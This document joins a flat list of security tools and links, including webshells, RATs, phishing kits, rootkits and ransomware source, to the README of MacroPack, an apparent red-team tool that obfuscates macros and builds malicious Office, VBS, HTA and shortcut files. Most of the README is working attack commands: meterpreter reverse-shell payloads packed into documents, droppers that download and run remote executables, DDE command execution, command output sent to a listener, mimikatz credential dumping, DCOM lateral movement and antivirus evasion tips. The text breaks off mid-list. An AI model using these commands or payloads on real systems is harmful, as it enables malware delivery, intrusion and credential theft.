auditor;redhat;https://github.com/XalfiE/Nix-Auditor scan-build;c;http://clang-analyzer.llvm.org/scan-build.html debsecan;debian;http://www.enyo.de/fw/software/debsecan/ lunar;linux;https://github.com/lateralblast/lunar dockerscan;linux;https://github.com/cr0hn/dockerscan pingcastle;AD;https://www.pingcastle.com/ ADRecon;AD;https://github.com/sense-of-security/ADRecon jomscan;jomla;https://github.com/rezasp/joomscan linEnum;linux;https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh PEAS;lin/win;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite HardeningKitty;win;https://github.com/scipag/HardeningKitty ## Audit code sonarqube;;https://www.sonarqube.org/ exakat;php;https://www.exakat.io/ SCARY;php;https://github.com/ewilded/SCARY ## crypto keylength;;key size;https://www.keylength.com factorize;;http://factordb.com/ ## crack/brute force hashcat;hash;http://hashcat.net/hashcat/ john;hash;http://www.openwall.com/john/ Durvasav-BfPC;hash;https://github.com/vishnumaiea/Durvasav-BfPC princeprocessor;algo;https://github.com/hashcat/princeprocessor hashview;hashcat distribued gui;http://www.hashview.io/ mdxfind;multi hash,cpu;https://www.techsolvency.com/pub/bin/mdxfind/ bitlocker;linux;https://github.com/e-ago/bitcracker ## malware luckystrike;xlsx;https://github.com/Shellntel/luckystrike dasmalwerk;malware dl;http://dasmalwerk.eu/   malware-traffic-analysis;db and analys;http://www.malware-traffic-analysis.net joesandox;sandox;https://www.joesandbox.com/ ## IDS/IPS snort;ids;https://www.snort.org/downloads suricata;ids;https://suricata-ids.org/download/ bro;ids;https://www.bro.org/download/index.html ## typo squatting ; domain name permutation urlcrazy;dns typo squatting;https://tools.kali.org/information-gathering/urlcrazy dnstwist;dns typo squatting;https://github.com/elceef/dnstwist ## Printer cred;ldap;https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/ ## FW fireaway;ngfw pypass;https://github.com/tcstool/fireaway ## honeypot honeycomb;honeypot;https://github.com/Cymmetria/honeycomb ## reverse gdbEnhanced;linux;https://gef.readthedocs.io/en/master/ gdb;linux;http://www.gnu.org/software/gdb/download/ gdb.init;linux;https://gist.github.com/CocoaBeans/1879270 gdb UI;linux;https://github.com/cs01/gdbgui/ peda;gdb;https://github.com/longld/peda ida;windows/linux;https://www.hex-rays.com/products/ida/support/download.shtml radar;windows/linux;http://radare.org/r/down.html objdump;linux; ollydbg;windows;http://www.ollydbg.de/ binwalk;firmware;http://binwalk.org/ peid;windows;https://www.aldeid.com/wiki/PEiD dnSpy;.NET;https://github.com/0xd4d/dnSpy veles;binary;https://codisec.com/veles/ scdbg;shellcode analysis;http://sandsprite.com/blogs/index.php?uid=7&pid=152 binaryNinja;reverse platform;https://binary.ninja/ ## search file/forensic foremost;linux; photorec;linux; hachoir-subfile;linux;apt-get install python-hachoir-subfile testdisk;;http://www.cgsecurity.org/wiki/TestDisk_FR RecuperaBit;reconstruct file;https://github.com/Lazza/RecuperaBit peepdf;pdf;http://eternal-todo.com/tools/peepdf-pdf-analysis-tool bucket;;buckets.grayhatwarfare.com gitminer;git search;https://github.com/UnkL4b/GitMiner DeepBlueCLI;PS;https://github.com/sans-blue-team/DeepBlueCLI dfir;win;https://dfir-orc.github.io/ ## network t50;network;https://sourceforge.net/projects/t50/ tcpdump;linux tshark;linux/win wireshark;linux/win netcat/nc;linux sniffles;generator;https://github.com/petabi/sniffles dnscat2;tunnel;https://github.com/iagox86/dnscat2 petabi;pcap generator;http://petabi.com/ netsniff-ng;network;https://github.com/netsniff-ng/netsniff-ng Pcapviz;graff pcap;https://github.com/mateuszk87/PcapViz iftop;linux stat;iftop dns2tcp;tunnel;https://tools.kali.org/maintaining-access/dns2tcp serveo;publish local service to dns;https://serveo.net/ tcpproxy;python;https://github.com/ickerwx/tcpproxy ## search engine shodan;searchEngine;https://www.shodan.io censys;searchEngine;https://www.censys.io/ exploitsearch;exploit;http://www.exploitsearch.net/ exploit-db;exploit;https://www.exploit-db.com/ vulnerabilities,vuln;https://www.seebug.org/ ## ebooks/zine International Journal of Proof-of-Concept or Get The Fuck Out;ebook;https://www.alchemistowl.org/pocorgtfo/ xmco;fr;https://www.xmco.fr/actusecu/ pageout;en;https://pagedout.institute/ ## stegano Matroschka;stegano;https://github.com/fgrimme/Matroschka ## write pentest public-pentesting-reports;report;https://github.com/juliocesarfort/public-pentesting-reports cure53;publication;https://cure53.de/#publications ## android apkr;android;https://github.com/zerjioang/apkr genymotion;emulator;https://www.genymotion.com MobSF;apk analyse;https://github.com/MobSF/Mobile-Security-Framework-MobSF Cheatsheet;guide,help;https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet anbox;linux emulator;https://anbox.io/ ## learning metasploit-unleashed;free training;https://www.offensive-security.com/metasploit-unleashed bWapp;web vuln;http://www.itsecgames.com/ building-your-own-pentesting-environment;lab;http://resources.infosecinstitute.com/building-your-own-pentesting-environment/ webgoat;java vuln;https://github.com/webgoat pwnos;vuln;http://pwnos.com/ pentesterlab;training;https://www.pentesterlab.com/ WordSteal;linux;https://github.com/0x090x0/WordSteal websec;challenge;https://websec.fr maltran;malware;https://github.com/MalwareReverseBrasil/maltran natas;challenge;http://overthewire.org/wargames/natas/ hackthebox;challenge;https://www.hackthebox.eu/en OSCP-Survival-Guide;oscp;https://github.com/frizb/OSCP-Survival-Guide Awesome-Hacking-Resources;link;https://github.com/vitalysim/Awesome-Hacking-Resources xvna;nodejs;https://github.com/vegabird/xvna oscp-like;vm;https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms virtualhackinglabs;vm not free;www.virtualhackinglabs.com hackingarticles;writeup;https://www.hackingarticles.in/ try hack me;challenge;https://tryhackme.com/ cryptohack;challenge;https://cryptohack.org/ picoCTF;challenge;https://picoctf.org/ ctf-katana;cli;https://github.com/JohnHammond/ctf-katana hacktricks;cli;https://book.hacktricks.xyz/ ## backdoor & Hardness tinyshell;php;https://github.com/lawrenceamer/tinyshell weevely;backdoor php;http://tools.kali.org/maintaining-access/weevely php-reverse-shell;php reverse;http://pentestmonkey.net/tools/web-shells/php-reverse-shell pupy;rat;https://github.com/n1nj4sec/pupy ThunderShell;PS;https://github.com/Mr-Un1k0d3r/ThunderShell php-web-shell;webshell php list;https://github.com/JohnTroony/php-webshells b374k;php;https://github.com/b374k/b374k FFM;python;https://github.com/JusticeRage/FFM revshells;;https://www.revshells.com/ ## phishing king-phisher;fishing;https://github.com/securestate/king-phisher/releases gophish;plateforme opensource;https://getgophish.com/ SocialFish;python;https://github.com/UndeadSec/SocialFish juda;proxy;https://github.com/JonCooperWorks/judas evil nginx;proxy;https://github.com/kgretzky/evilginx2 ## dictionnary CeWL;genrator on url;https://github.com/digininja/CeWL ## wifi scapy-fakeap;fakeap;https://github.com/rpp0/scapy-fakeap LANs;mitm;https://github.com/DanMcInerney/LANs.py MITMf;mitm ++;https://github.com/byt3bl33d3r/MITMf Lans;mitm;https://github.com/DanMcInerney/LANs.py wifi-pumpkins;AP and more;https://github.com/P0cL4bs/WiFi-Pumpkin hostapd;AP;https://doc.ubuntu-fr.org/hostapd eaphammer;EAP fake AP;https://github.com/s0lst1c3/eaphammer audit-radius;radius;https://github.com/ANSSI-FR/audit-radius PMKID attack;out of band;https://hashcat.net/forum/thread-7717.html wifite2;automation;https://github.com/derv82/wifite2 ## WMI wmie;explorer;https://wmie.codeplex.com/ ## distrib Converto;upgrade vps;https://github.com/developerkunal/Converto ## Redteam PlugBot-Plug;;https://github.com/redteamsecurity/PlugBot-Plug exploitpack;exploit kit;https://exploitpack.com responder;nohash;https://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/ demiguise;hta file download browser;https://github.com/nccgroup/demiguise ScareCrow;win;https://github.com/optiv/ScareCrow vilain;;https://github.com/t3l3machus/villain ## webservice webservice;*;http://www.ws-attacks.org/Welcome_to_WS-Attacks ## windows regshot;regedit snapshot;https://sourceforge.net/projects/regshot/ luckystrike;xls word;https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator privilege;win;http://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/ Active-Directory-Exploitation-Cheat-Sheet;;https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet obfuscatePS;python;https://github.com/Unknow101/FuckThatPacker AD cheat sheet;;https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ lolbin;win;https://lolbas-project.github.io/ pypykatz;python;https://github.com/skelsec/pypykatz hakatomb;python;https://github.com/Processus-Thief/HEKATOMB ## database leek databases;db;https://www.databases.today/search.php weakpass;password;http://weakpass.com/ hashes;hash:pass;https://hashes.org/leaks.php ## canary canary;token;https://canarytokens.org opencanary;https://github.com/thinkst/opencanary ## usb P4wnP1;windows;https://github.com/mame82/P4wnP1 ## rootkit Reptile; linux;https://github.com/f0rb1dd3n/Reptile ## hardware espressobin;3 ethernet;http://espressobin.net raspberry;mini pc;https://www.raspberrypi.org/ ## IOT baudrate;uart/com;https://github.com/devttys0/baudrate ## Docker docker-explorer;linux;https://github.com/google/docker-explorer deepce;docker;https://github.com/stealthcopter/deepce ## Pad Huntpad;improved pad;http://www.syhunt.com/en/index.php?n=Products.SyhuntHuntpad ## CTF CTFd;web interface;https://github.com/CTFd/CTFd ## Typosquatting typofinder;;https://github.com/nccgroup/typofinder ## TOR multitor;linux;https://github.com/trimstray/multitor ## Podcast nolimitsecu;fr;https://www.nolimitsecu.fr/ comptoirsecu;fr;https://www.comptoirsecu.fr/podcast/ blackhillsinfosec;en;https://www.blackhillsinfosec.com/podcasts/ darknetdiaries;en;https://darknetdiaries.com/ no-log;fr;https://shows.acast.com/no-log CYBER;en;https://open.spotify.com/show/3smcGJaAF6F7sioqFDQjzn?si=d145034375e647e9 hackandspeak;fr;https://anchor.fm/hacknspeak ## SNMP snmp-check;ruby;http://www.nothink.org/codes/snmpcheck/index.php ## lesson lesson;en;https://www.thehacker.recipes/ ## RF radio;ISO;https://www.sigintos.com/ ## other mailgun;mail;http://www.mailgun.com/ anonymous;OS;https://www.whonix.org/ owasp test list;pentest;https://www.owasp.org/index.php/Testing_Checklist nmap (lua) IDE;nmap;http://halcyon-ide.org/ http-screenshot;nmap nse;https://github.com/SpiderLabs/Nmap-Tools/blob/master/NSE/http-screenshot.nse penbox;pentest framework;https://github.com/x3omdax/PenBox wireguard;vpn;https://www.wireguard.io/ Serpico;repport pentest;https://github.com/SerpicoProject/Serpico winfsp;windows;https://github.com/billziss-gh/winfsp encode;encode;https://encoder.mattiasgeniar.be/index.php vulnreport;report;http://vulnreport.io/ metame;code mutation;https://github.com/a0rtega/metame stemjail;jail;https://stemjail.github.io/ pwnmalw;vuln in malware;https://www.pwnmalw.re/ screentogif;record;https://screentogif.codeplex.com/ php-security-pitfalls;test vuln web;https://github.com/joostvanveen/php-security-pitfalls SEI+CERT+Coding+Standards;code standard;https://www.securecoding.cert.org/confluence/display/seccode/SEI+CERT+Coding+Standards HTTP-Over-Protocol;tunnel;https://github.com/sakshamsharma/HTTP-Over-Protocol scans.io;db;https://scans.io/ agarri; nicolas gregoire;http://www.agarri.fr/en/index.html Linux_Exploit_Suggester;linux;https://github.com/PenturaLabs/Linux_Exploit_Suggester Windows-Exploit-Suggester;windows;https://github.com/GDSSecurity/Windows-Exploit-Suggester sandcat;browser;http://www.syhunt.com/sandcat/ dracos-linux;pentest OS;http://www.dracos-linux.org/ OWASP;recommandation;https://github.com/OWASP Web_Application_Security_Testing_Cheat_Sheet;tests;https://www.owasp.org/index.php/Web_Application_Security_Testing_Cheat_Sheet cryptomator;chiffrement cloud;https://cryptomator.org/ awesome-pentest;tools;https://github.com/enaqx/awesome-pentest g0tmi1k;blog;https://blog.g0tmi1k.com CyberChef; enc dec code decode;https://gchq.github.io/CyberChef/ kakoune;text editor;http://kakoune.org/ Parallel Processing Shell Script;bash;https://github.com/louwrentius/PPSS cyberprobe;attack monitoring;http://cyberprobe.sourceforge.net/ pushed;phone notification;https://pushed.co freegeoip;freegeoip;https://freegeoip.net awesome-malware-analysis;tools;https://github.com/rshipp/awesome-malware-analysis laverna;notes;https://laverna.cc Metarouter;network;https://wiki.mikrotik.com/wiki/Manual:Metarouter ShadowBuster;vuln map;https://github.com/indeedops/ShadowBuster certbot;cert ssl free;https://certbot.eff.org/ panwdbl;malwareIPdB;http://panwdbl.appspot.com/ conemu;telnet client;https://conemu.github.io/ testconnectivity;mail header;https://testconnectivity.microsoft.com/ hiddent-tear;ransomware code;https://github.com/goliate/hidden-tear Heap Exploitation;learning;https://heap-exploitation.dhavalkapil.com/ pentest-cheat-sheets;pentest-cheat-sheets;https://github.com/coreb1t/awesome-pentest-cheat-sheets osquery;survey;https://osquery.io/ postgresql_online_compiler;postgreSQL;http://rextester.com/l/postgresql_online_compiler; pumascan;.NET analyser vuln;https://www.pumascan.com/ scikit-learn;python machine learning;http://scikit-learn.org cutycapt;cli screenshot linux;http://cutycapt.sourceforge.net/ php rop gadget;php;https://www.ambionics.io/blog/php-generic-gadget-chains wireguard;vpn;https://www.wireguard.com/ atom;text editor;https://atom.io/docs pbscan;mass port scanner;https://github.com/gvb84/pbscan Ironsquirrel;Encrypted exploit delivery for browser;https://github.com/MRGEffitas/Ironsquirrel asciinema;linux cli recorder;https://asciinema.org/ ufw;linux iptables;https://linuxconfig.org/how-to-install-and-use-ufw-firewall-on-linux phantom;orchestration;https://www.phantom.us/ goaccess;reporting web;https://goaccess.io/ pwning win;win;https://crowdshield.com/blog.php?name=pwning-windows-domains-from-the-command-line automate action;android;http://llamalab.com/automate/ gephi;graphviz tool;https://gephi.org/ macro;vba;https://homputersecurity.com/2017/12/21/comment-pirater-un-systeme-windows-laide-dun-fichier-macro/ git clone;wget;https://blog.netspi.com/dumping-git-data-from-misconfigured-web-servers/ linux cmd;linux;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ crt.sh;cert ssl;https://crt.sh bashbosster;provisonning;http://www.bashbooster.net/ gopacket;go packet manipulation;https://github.com/google/gopacket up;interractive grep;https://github.com/akavel/up payload;burp;https://github.com/1N3/IntruderPayloads owasp-modsecurity-crs;mod security rules;https://github.com/SpiderLabs/owasp-modsecurity-crs inspec.io;hardening;https://www.inspec.io/ Osquery;file integrity monitoring;https://www.howtoforge.com/tutorial/how-to-setup-file-integrity-monitoring-fim-using-osquery-on-linux-server/ GPU;cloud;https://vast.ai/console/create/ DNSDumpster;dns;https://dnsdumpster.com/ patrowl;discover;https://www.patrowl.io/ vault;password manager;https://www.vaultproject.io/; wifi;piZero;https://pwnagotchi.ai/ total commander;IDE;https://www.ghisler.com/accueil.htm jupyter;python notpad run code;https://jupyter.org/ easy2boot;boot;https://www.easy2boot.com/ scantron;;https://github.com/rackerlabs/scantron Portsentry;linux;https://wiki.gentoo.org/wiki/PortSentry ssh+ssl;linux;https://ostechnix.com/sslh-share-port-https-ssh/ ssh;;https://github.com/quantumsheep/sshs
![Supported Python versions](https://img.shields.io/badge/python-3-brightgreen.svg) # macro\_pack ## Short description MacroPack Community is a tool used to automatize obfuscation and generation of retro formats such as MS Office documents or VBS like format. It also handles various shortcuts formats. This tool can be used for red teaming, pentests, demos, and social engineering assessments. MacroPack will simplify antimalware solutions bypass and automatize the process from vb source to final Office document or other payload type. It is very simple to use: * No configuration required * Everything can be done using a single line of code * Generation of majority of Office formats and VBS based formats * Payloads designed for advanced social engineering attacks (email, USB key, etc) The tool is compatible with payloads generated by popular pentest tools (Metasploit, Empire, ...). It is also easy to combine with other tools as it is possible to read input from stdin and have a quiet output to another tool. T his tool is written in Python3 and works on both Linux and Windows platforms **Note:** Windows platform with the right MS Office applications installed is required for Office documents automatic generation or trojan features. <p align="center"><img src="./assets/mp_intro.png" alt="Demo 1"></p> ### Obfuscation The tool will use various obfuscation techniques, all automatic. Obfuscation features are compatible with all VBA and VBS based format which can be generated by MacroPack. Basic obfuscation (-o option) includes: * Renaming functions * Renaming variables * Removing spaces * Removing comments * Encoding Strings ### Generation MacroPack can generate several kinds of MS office documents and scripts formats. The format will be automatically guessed depending on the given file extension. File generation is done using the option --generate or -G. MacroPack pro version also allows you to trojan existing Office files with option --trojan or -T. Ms Office Supported formats are: * MS Word (.doc, .docm, .docx, .dotm) * MS Excel (.xls, .xlsm, .xslx, .xltm) * MS PowerPoint (.pptm, .potm) * MS Access (.accdb, .mdb) * MS Visio (.vsd,.vsdm) * MS Project (.mpp) Scripting (txt) supported formats are: * VBA text file (.vba) * VBS text file (.vbs). * Windows Script File (.wsf) * Windows Script Components scriptlets (.wsc, .sct) * HTML Applications (.hta) * XSLT Stylesheet (.xsl) (Yes MS XSLT contains scripts ^^) Shortcuts/Shell supported formats are: * Shell Link (.lnk) * Explorer Command File (.scf) * URL Shortcut (.url) * Groove Shortcuts (.glk) * Settings Shortcuts (.settingcontent-ms) * MS Library (.library-ms) * Setup Information (.inf) * Excel Web Query (.iqy) * Visual Studio Project (.csproj) * Command line (.cmd) * SYmbolic LinK (.slk) Pro version only * Compressed HTML Help (.chm) Pro version only Note that all scripting and shortcuts formats (except LNK) can be generated on Linux version of MacroPack as well. ### Ethical use This software must be used only in the context of a Red Team engagement, penetration testing, phishing simulation, security research, or other form of security assessments, with the lawful and formal authorization of the system owners. Usage of this software for attacking targets without prior consent is forbidden and illegal. It is the User’s responsibility to comply with all applicable local, state, federal and national laws. We assume no liability and are not responsible for any misuse or damage that may be caused by using this software. ### About pro mode... Not all capabilities and options of MacroPack are available on MacroPack Community. Only the community version is available online. Features of the pro version are truly "weaponizing" the process, hence their access is restricted to professionals. The pro mode includes features such as: * Advance antimalware bypass * Advanced Shellcode injection methods * Command line obfuscation (Dosfuscation) * ASR and AMSI bypass * Self unpacking VBA/VBS payloads * Trojan existing MS Office documents, Help files and Visual Studio projects. * Embed decoy payload * Lateral movement using DCOM objects * Anti reverse engineering * Sandbox detection * Support of more formats such as Excel 4.0 SYLK and compiled help files * Run advanced VB payload from unusual formats * Weaponized templates and additional templates (ex EMPIRE, AUTOSHELLCODE) * Excel 4.0 macros (XLM) * And much more… Some short demo videos are available on the [BallisKit Vimeo channel](https://vimeo.com/balliskit). **Important:** If you wish to contact me about MacroPack pro, use my emeric.nasi [at] sevagas.com email address. I will not answer anonymous inquiries for the Pro version but only professional emails. ## Run/Install ### Run Windows binary 1) Get the latest binary from https://github.com/sevagas/macro_pack/releases/ 2) Download binary on PC with genuine Microsoft Office installed. 3) Open console, CD to binary dir and call the binary, simple as that! ```bash macro_pack.exe --help ``` ### Install from sources You need to be on a Windows machine to build MacroPack. Download and install dependencies: ```bash git clone https://github.com/sevagas/macro_pack.git cd macro_pack pip3 install -r requirements.txt ``` The tool is in python 3, so just start with your python3 install. ex: ```bash python3 macro_pack.py --help # or python macro_pack.py --help # if python3 is default install ``` If you want to produce a standalone exe using pyinstaller: * Install pyinstaller: pip install pyinstaller * Double-click on the "build.bat" script. The resulted macro\_pack.exe will be inside the **bin** directory. ## Some examples ### MacroPack Community - List all supported file formats ```bash macro_pack.exe --listformats ``` - List all available templates ```bash macro_pack.exe --listtemplates ``` - Obfuscate the vba file generated by msfvenom and puts result in a new VBA file. ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba ``` - Obfuscate Empire stager VBA file and generate a MS Word document: ```bash macro_pack.exe -f empire.vba -o -G myDoc.docm ``` - Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe) ```bash echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm" ``` - Create a word 97 document containing an obfuscated VBA reverse meterpreter payload inside a share folder ```bash msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \\REMOTE-PC\Share\meter.doc ``` - Download and execute Empire Launcher stager without powershell.exe by using DROPPER_PS template ```bash # 1 Generate a file containing Empire lauchcher # 2 Make that file available on web server, ex with netcat: { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1 # 3 Use macro\_pack to generate DROPPER_PS payload in Excel file echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls # 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager. ``` - Execute calc.exe via Dynamic Data Exchange (DDE) attack ```bash echo calc.exe | macro_pack.exe --dde -G calc.xslx ``` <p align="center"><img src="./assets/excel_dde.png" alt="Excel DDE demo"></p> - Download and execute file via powershell using Dynamic Data Exchange (DDE) attack ```bash # 1 Change the target file URL in resources\community\ps_dl_exec.cmd # 2 Embed download execute cmd in document macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx ``` - Run command (notepad.exe) via Excel web query file and DDE ```bash # 1 Create dde.dat file with next content =cmd|' /c notepad.exe'!A1 # 2 Host dde.dat on webserver, ex. using macro_pack -l # 3 Generate .iqy file macro_pack.exe -G dde.iqy ``` <p align="center"><img src="./assets/iqy_dde.PNG" alt="IQY demo"></p> - Generate obfuscated meterpreter reverse TCP VBS file and run it ```batch # 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs # 2 On attacker machine Setup meterpreter listener msfconsole -r meterpreter.rc # 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit) %windir%\SysWoW64\wscript meter.vbs ``` - Generate obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5 ```batch # 1 Generate HTA file with REMOTE_CMD template echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 On 192.168.0.5 open macro_pack as http listener macro_pack.exe -l . --port=1234 # 3 run hta file with mshta mshta.exe full/path/to/info.hta ``` - Generate url shortcut which executes a local HTA file when you click on it ```batch echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url ``` - Generate lnk shortcut which executes a cmd running calc.exe with calc.exe icon ```batch echo '"c:\Windows\System32\cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk ``` ### Some MacroPack Pro examples - Trojan the existing shared "report.xlsm" file with a dropper. Use anti-AV and anti-reverse features. ```bash echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls" ``` - Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). Keep-alive is needed because we need meterpreter to stay alive before we migrate. ```bash msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm ``` - Trojan a PowerPoint file with a reverse raw shellcode. Macro is obfuscated and mangled to bypass AMSI and most antiviruses. ```bash echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm ``` - Execute a macro on a remote PC using DCOM. ```batch REM Step 1: Ensure you have enough rights net use \\192.168.0.8\c$ /user:domain\username password REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\\192.168.0.8\c$\users\username\meter.xlsm" REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\\192.168.0.8\c$\users\username\meter.xlsm" ``` ## All community version options ``` Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit ``` ## Template usage Templates can be called using -t, --template=TEMPLATE_NAME combined with other options. Here are all the available templates. ### HELLO Just print a hello message and awareness about macro. Give this template the name or email of the author: -> Example: ```echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm``` ### CMD Execute a command. Give this template a command line -> Example (pop calc.exe from and xslt file): ```echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl``` ### REMOTE_CMD Execute a command line and send results to remote HTTP server. Give this template the server url and the command to run: -> Example: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``` ```bash # Catch result with any webserver or netcat nc -l -p 7777 ``` ### DROPPER Download and execute a file. Give this template the file url and the target file path -> Example: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls``` ### DROPPER_PS Download and execute Powershell script using rundll32 (to bypass blocked powershell.exe). Note: This payload will download PowerShdll from Github. Give this template the url of the powershell script you want to run: -> Example: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc``` ### DROPPER_DLL Download a DLL with another extension and run it using Office VBA. -> Example, load meterpreter DLL using Office: ```batch REM Generate meterpreter dll payload msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll REM Make it available on webserver, ex using netcat on port 6666 { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1 REM Create OFfice file which will download DLL and call it REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls ``` ### METERPRETER Meterpreter reverse TCP template using MacroMeter by Cn33liz. This template is CSharp meterpreter Stager build by Cn33liz and embedded within VBA using DotNetToJScript from James Forshaw. Give this template the IP and PORT of listening mfsconsole: -> Example: ```echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm``` This template also generates a meterpreter.rc file to create the Metasploit handler -> Example: ```msfconsole -r meterpreter.rc``` ### EMBED_EXE Drop and execute an embedded file. Combine with --embed option, it will drop and execute the embedded file with random name under TEMP folder. -> Example: ```macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs``` ### EMBED_DLL Combine with --embed option, it will drop and call a function in the given DLL. Give this template the name and parameters of function to call in DLL -> Example1 : ```echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc``` -> Example2 : ```echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta``` ## Efficiency The various features were tested against locally installed Antimalware solutions as well as online services. I ran multiple tests with several kinds of payloads and MacroPack features. A majority of antivirus static will be evaded by the simple "obfuscate" option. However, as most free tools, payloads are generally caught by behavioural analysis such as AMSI. Features available in MacroPack pro mode generally permit full AV bypass including AMSI. **Warning:** Do not submit your samples to online scanners (ex VirusTotal), It's the best way to break your stealth macro. I also suggest you do not submit to non-reporting sites such as NoDistribute. You cannot be sure what these sites will do with the data you submit. If you have an issue with macro_pack AV detection, you can write to us for advice or submit an issue or pull request. ## Relevant resources Blog posts about MacroPack Pro: - https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads - https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (Excel 4.0 payloads in MacroPack Pro) - https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (XLM injection in MacroPack Pro) Blog posts about hacking with MS Office, VBS, and other retro stuff security: - https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction - 